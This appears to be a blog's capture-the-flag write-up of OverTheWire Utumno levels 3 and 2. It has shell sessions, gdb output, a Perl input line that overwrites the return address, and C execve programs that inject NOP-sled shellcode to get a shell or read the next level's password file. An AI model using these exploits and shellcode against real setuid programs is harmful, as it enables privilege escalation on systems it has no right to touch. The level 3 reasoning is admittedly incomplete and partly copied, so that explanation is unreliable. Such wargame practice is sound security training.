utumno3@melinda:~$ cd /tmp/uh3
utumno3@melinda:/tmp/uh3$ file /utumno/utumno3
/utumno/utumno3: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f08e1d32ab3f918787ecb922b16945e4dfb18383, not stripped
utumno3@melinda:/tmp/uh3$ /utumno/utumno3
as
as
^C

Nothing useful just that we are taking input from the user and nothing left. We are going to go ahead and download the file and open in hopper to get us some information.

Embeded FullSize

At first glance doesn’t seem like anything too confusing after some investigating we get the general program flow.

Embeded FullSize

From this we can conclude that the every second character is put into the stack at the position that is computed. This is how we can control our EIP.

NOTE: At this point in the challenge I became confused and unable to solve it myself. Unfortunately my math and understanding of bitwise operators is not up to par and I could not conclude the complete solution on my own. After some research I came across a Japanese post talking about the following.

Here one can read a character, where you can do in v2 modify the return address. To this end, we find the distance v2 and the return address is 0x2c, then fill in the character to v1 should be 0x2c ^ 0, 0x2d ^ 3, 0x2e ^ 6, 0x2f ^ 9. I tried invoke shell, but did not respond, plus cat does not work; so I had to read the file with the shell code

With the following string.

perl -e 'print "\x2c\xc8\x2e\xd8\x28\xff\x26\xff"' | /utumno/utumno3

Source

Obviously this code isn’t runnable because it is simply a memory address. If we break it down the shell code we notice that it turns into

x2c = 44
xc8 = address - part 4
x2e = 46
xd8 = address - part 3
x28 = 40
xff = address - part 2
x26 = 38
xff = address - part 1

So we know the desired address is 0xffffd8c8, obviously this is pointing to shell code in memory within the stack. However the confusing part is the padding used. The space doesn’t make any sense at least not to me. Although we don’t have the understanding we have enough information to create a solution.

We need to create an EGG in our environmental variables to store our shell code. We are going to reuse the /tmp/b2p reading shell code due to the fact that when I also ran a /bin/sh shell it didn’t respond.

\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80
utumno3@melinda:/tmp/uh3$ ln -s /etc/utumno_pass/utumno4 /tmp/b2p

Turning our full script to.

./invoker.sh -e EGG=`perl -e 'print "\x90"x50 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"'` -d /utumno/utumno3

Now we just need to locate our nopsled.

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set dissassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:

-- SNIP --
   0x0804845a <+93>:	movzbl (%eax),%eax
   0x0804845d <+96>:	movsbl %al,%ebx
   0x08048460 <+99>:	call   0x80482d0 <getchar@plt>
   0x08048465 <+104>:	mov    %al,0x20(%esp,%ebx,1)
   0x08048469 <+108>:	addl   $0x1,0x3c(%esp)
   0x0804846e <+113>:	call   0x80482d0 <getchar@plt>
   0x08048473 <+118>:	mov    %eax,0x38(%esp)
   0x08048477 <+122>:	cmpl   $0xffffffff,0x38(%esp)
   0x0804847c <+127>:	je     0x8048485 <main+136>
   0x0804847e <+129>:	cmpl   $0x17,0x3c(%esp)
   0x08048483 <+134>:	jle    0x8048419 <main+28>
   0x08048485 <+136>:	mov    $0x0,%eax
   0x0804848a <+141>:	mov    -0x4(%ebp),%ebx
   0x0804848d <+144>:	leave  
-- SNIP --

We set a break point on the leave and find our nopsled.

(gdb) break *0x0804848d
(gdb) find $esp,$esp+600, 0x90909090

-- SNIP --
0xffffdf7a
0xffffdf7b
0xffffdf7c
0xffffdf7d
0xffffdf7e
0xffffdf7f
0xffffdf80
0xffffdf81
0xffffdf82
0xffffdf83
0xffffdf84
0xffffdf85
0xffffdf86
0xffffdf87
0xffffdf88
-- SNIP --

Just pick the address at random we will use 0xffffdf83. Now just modify our Perl command with the address.

perl -e 'print "\x2c\x83\x2e\xdf\x28\xff\x26\xff"' > input.txt

Now we just invoke it.

./invoker.sh -e EGG=`perl -e 'print "\x90"x50 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"'` /utumno/utumno3 < input.txt
[OMITTED]

There is our password. I do not consider this challenge completed as I did not understand the process involved to get the correct padding values.

OverTheWire - Utumno2

Site: http://overthewire.org/wargames/utumno/
Level: 2
Situation: ASM Reading Exercise

SideNote: This write up is condensed there was a lot of small repetitive steps that had been done in previous examples and explained.

As we usually do we are going to create a temp directory for our use. Then we are going to get the file archtype and the basic output.

utumno2@melinda:~$ mkdir /tmp/ut2
utumno2@melinda:~$ cd /tmp/ut2
utumno2@melinda:/tmp/ut2$
utumno2@melinda:/tmp/ut2$ file /utumno/utumno2
/utumno/utumno2: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, 
BuildID[sha1]=8557fab8b28ac610dff835c3fbfa7b02bd54a2de, not stripped
utumno2@melinda:/tmp/ut2$ /utumno/utumno2
Aw..

The usual nothing to explanatory. Let’s go ahead and ltrace.

utumno2@melinda:/tmp/ut2$ ltrace /utumno/utumno2
__libc_start_main(0x804845d, 1, 0xffffd794, 0x80484b0 <unfinished ...>
puts("Aw.."Aw..
)                                     = 5
exit(1 <no return ...>
+++ exited (status 1) +++

Nothing again. If we pass an argument to it we get the same issue.

utumno2@melinda:/tmp/ut2$ ltrace /utumno/utumno2 asdf
__libc_start_main(0x804845d, 1, 0xffffd794, 0x80484b0 <unfinished ...>
puts("Aw.."Aw..
)                                     = 5
exit(1 <no return ...>
+++ exited (status 1) +++

We open in it in our disassembler and get a control flow graph to see what is going on.

Embeded FullSize

Short and easy to understand lets go ahead and mark it up.

Embeded FullSize

Simple enough to understand. We know in order to get past the “AW” message we have to get past the argc check. By default all c applications get passed in their name in argv[0] which means argc is going to at least contain 1. So in order to do this we need to execute the application from another application that allows us to control the arguments going into the application.

We can use execve to do this. The definition of execve:

int execve(const char *filename, char *const argv[], char *const envp[]);

So our code will start as the following.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {

    char *arg[] = { 0x0 };
    char *envp[] = { };
    execve("/utumno/utumno2", arg, envp);
    perror("execve");
    exit(1);
}

When we run this and we get past the initial block. But takes us into a segfault. For ease of use we are going to upload our invoker.sh script that we previously used. For debugging. Looking at the ASM we know that it is trying to access the address of argv[1] however we are passing in 0 arguments to get past the first check. Looking at execve we are giving a third parameter to pass in environment variables. Now let’s look at our stack to see the position of these variables.

Embeded

FullSize Source

We can push a specific amount of environmental variables to make our argv[1] point to one of our environmental variables.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {

    char *arg[] = { 0x0 };
    char *envp[] = {  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAA" };
    execve("/utumno/utumno2", arg, envp);
    perror("execve");
    exit(1);
}

The first one didn’t work so we change to the second variable.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {

    char *arg[] = { 0x0 };
    char *envp[] = { "", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAA" };
    execve("/utumno/utumno2", arg, envp);
    perror("execve");
    exit(1);
}

Each step of the way using our invoker shell to check GDB to see if we are affecting the EIP in anyway. We continue down the line till we hit a crash when using our “A”’s indicated we are controlling EIP.

The magic number is 9 in this case. Then turns our code into.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {

    char *arg[] = { 0x0 };
    char *envp[] = {
     	"",
	"",
	"",
	"",
	"",
	"",
	"",
	"",
	"",
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
	NULL
    };
    execve("/utumno/utumno2", arg, envp);
    perror("execve");
    exit(1);
}

At this point it turns into a simple stack overflow.

To find the exact length required we utilize metasploit’s pattern_create.rb and pattern_offset.rb tool. Which returns that our number is 24. We know that we are able to store shell code and a nopsled in it. However when we attempted to find the nopseld we were unable to find a matched pattern.

To overcome this we utilize the environmental variable before the A’s to store our nopseld and shell code. We reuse our 21 byte bin/sh shell code.

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

We also add a fair bit of nops in front of it turning our code into the following.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {

    char *arg[] = { 0x0 };
    char *envp[] = { 
     	"",
	"",
	"",
	"",
	"",
	"",
	"",
	"",
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
         \x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f
        \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80",
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAA",
	NULL


    };
    execve("/utumno/utumno2", arg, envp);
    perror("execve");
    exit(1);
}

Finally we just need to find the address of our nopseld using the command “find $esp, $esp+400, 0x90909090” in GDB. Giving us the address 0xffffdf9d. We add the address to the new code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {

    char *arg[] = { 0x0 };
    char *envp[] = { 
     	"",
	"",
	"",
	"",
	"",
	"",
	"",
	"",
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
         \x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f
        \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80",
	"AAAAAAAAAAAAAAAAAAAAAAAA\x9d\xdf\xff\xff",
	NULL


    };
    execve("/utumno/utumno2", arg, envp);
    perror("execve");
    exit(1);
}

We run it in userspace and we get the following.

utumno2@melinda:/tmp/ut2$ ./a.out 
$ whoami
utumno3
$ cat /etc/utumno_pass/utumno3
[OMITTED]

There is our password.